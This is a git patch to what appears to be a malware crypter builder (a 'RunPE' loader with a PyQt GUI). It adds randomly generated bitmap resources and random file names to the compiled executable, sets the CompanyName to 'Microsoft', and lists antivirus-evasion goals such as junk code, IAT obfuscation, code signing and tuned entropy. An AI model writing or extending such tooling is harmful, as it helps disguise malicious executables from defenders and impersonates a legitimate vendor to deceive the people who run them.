From 790d030a6c38d0f8e8528d35f21111f63f10975e Mon Sep 17 00:00:00 2001
From: ALittlePatate <maxime@patate.dev>
Date: Tue, 5 Sep 2023 14:14:05 +0200
Subject: [PATCH] add: PE random resources

---
 DllExecutor.rc | 14 +++++++++-----
 config.h       |  2 +-
 gui.py         | 18 ++++++++++++++----
 metadata.py    | 29 +++++++++++++++++++++++++++++
 4 files changed, 53 insertions(+), 10 deletions(-)

diff --git a/DllExecutor.rc b/DllExecutor.rc
index 1fea2aa..e275e94 100644
--- a/DllExecutor.rc
+++ b/DllExecutor.rc
@@ -68,12 +68,12 @@ BEGIN
         BLOCK "040c04b0"
         BEGIN
 			VALUE "CompanyName", "Microsoft"
-			VALUE "FileDescription", "qvxogvnpqxmjnhjylnrz"
+			VALUE "FileDescription", "ukulyvqunljimnyxqudx"
 			VALUE "FileVersion", "1.0.0.1"
-			VALUE "InternalName", "xmunjmp.exe"
+			VALUE "InternalName", "pcqqadv.exe"
 			VALUE "LegalCopyright", "Copyright (C) 2023"
-			VALUE "OriginalFilename", "qqohwcv.exe"
-			VALUE "ProductName", "zwmwzkm.exe"
+			VALUE "OriginalFilename", "ayhotiz.exe"
+			VALUE "ProductName", "eskjmbf.exe"
             VALUE "ProductVersion", "1.0.0.1"
         END
     END
@@ -84,7 +84,11 @@ BEGIN
 END
 
 MAINICON ICON "C:/Users/patate/Desktop/Programmation/C++/Low-Level/RunPE/icon.ico"
-#endif    // Français (France) resources
+zoixzyunsm BITMAP "img_0.bmp"
+kzciawmlhq BITMAP "img_1.bmp"
+nzixriywxl BITMAP "img_2.bmp"
+iumfepnhqj BITMAP "img_3.bmp"
+#endif
 /////////////////////////////////////////////////////////////////////////////
 
 
diff --git a/config.h b/config.h
index afb0f83..67f9f86 100644
--- a/config.h
+++ b/config.h
@@ -1,2 +1,2 @@
 #pragma once
-#define KEY "gepjfipejnw"
\ No newline at end of file
+#define KEY "ouqdhoqubnco"
\ No newline at end of file
diff --git a/gui.py b/gui.py
index fb2bb11..9151739 100644
--- a/gui.py
+++ b/gui.py
@@ -12,10 +12,8 @@ TODO :
     - LoadPE (KEKW)
     - Good entropy
     - Good Section sizes
-    - Add resources
     - Random Windows API calls (help)
-    - Code signing
-
+    
 Done :
     - RunPE
     - Junk code
@@ -23,6 +21,8 @@ Done :
     - IAT obfuscation (adding "normal" imports in addition to the others)
     - Change PE metadata (company, description, etc...)
     - File icon
+    - Code signing
+    - Add resources (random number of random generated bitmaps)
 """
 
 from PyQt5 import QtCore, QtGui, QtWidgets
@@ -31,7 +31,7 @@ from PyQt5.QtCore import QCoreApplication
 from PyQt5.QtGui import QPixmap
 from obfuscation import obfuscate
 from metadata import change_metadata
-import os, shutil
+import os, shutil, glob
 
 class Ui_mainWindow(object):
     def __init__(self) :
@@ -203,6 +203,16 @@ class Ui_mainWindow(object):
         os.remove("main.cpp")
         os.rename("DO_NOT_TOUCH.cpp", "main.cpp")
         
+        # Find all BMP files in the directory with a wildcard pattern
+        bmp_files = glob.glob(os.path.join(".", "*.bmp"))
+
+        # Delete each BMP file
+        for bmp_file in bmp_files:
+            try:
+                os.remove(bmp_file)
+            except :
+                pass
+        
         if not return_code :
             self.label_2.setText(f"--> {out_filename}")
             QCoreApplication.processEvents()
diff --git a/metadata.py b/metadata.py
index bf858f0..5e94a56 100644
--- a/metadata.py
+++ b/metadata.py
@@ -1,6 +1,31 @@
 from randomness import *
+from PIL import Image, ImageDraw
 
+def generate_bmp(filename):
+    # Define the dimensions of the BMP image
+    width = 256  # Width of the image
+    height = 256  # Height of the image
+
+    # Create a new blank image with a white background
+    img = Image.new('RGB', (width, height), 'white')
+
+    # Create a drawing object to draw on the image
+    draw = ImageDraw.Draw(img)
+
+    # Generate random pixel colors and fill the image
+    for x in range(width):
+        for y in range(height):
+            red = GetRandomRange(0, 255)
+            green = GetRandomRange(0, 255)
+            blue = GetRandomRange(0, 255)
+            pixel_color = (red, green, blue)
+            draw.point((x, y), fill=pixel_color)
+
+    # Save the generated BMP image
+    img.save(filename, 'BMP')
+        
 def change_metadata(icon_file) :
+    number_of_bmp = GetRandomRange(2, 6)
     f = open("DllExecutor.rc", "r")
     f_c = f.readlines()
     f.close()
@@ -24,6 +49,10 @@ def change_metadata(icon_file) :
         
         elif "MAINICON" in line and icon_file != "":
             line = f'MAINICON ICON "{icon_file}"\n'
+            for i in range(number_of_bmp) :
+                bmp_name = f"img_{i}.bmp"
+                generate_bmp(bmp_name)
+                line += f'{GetRandomString(10)} BITMAP "{bmp_name}"\n'
             
         o.write(line)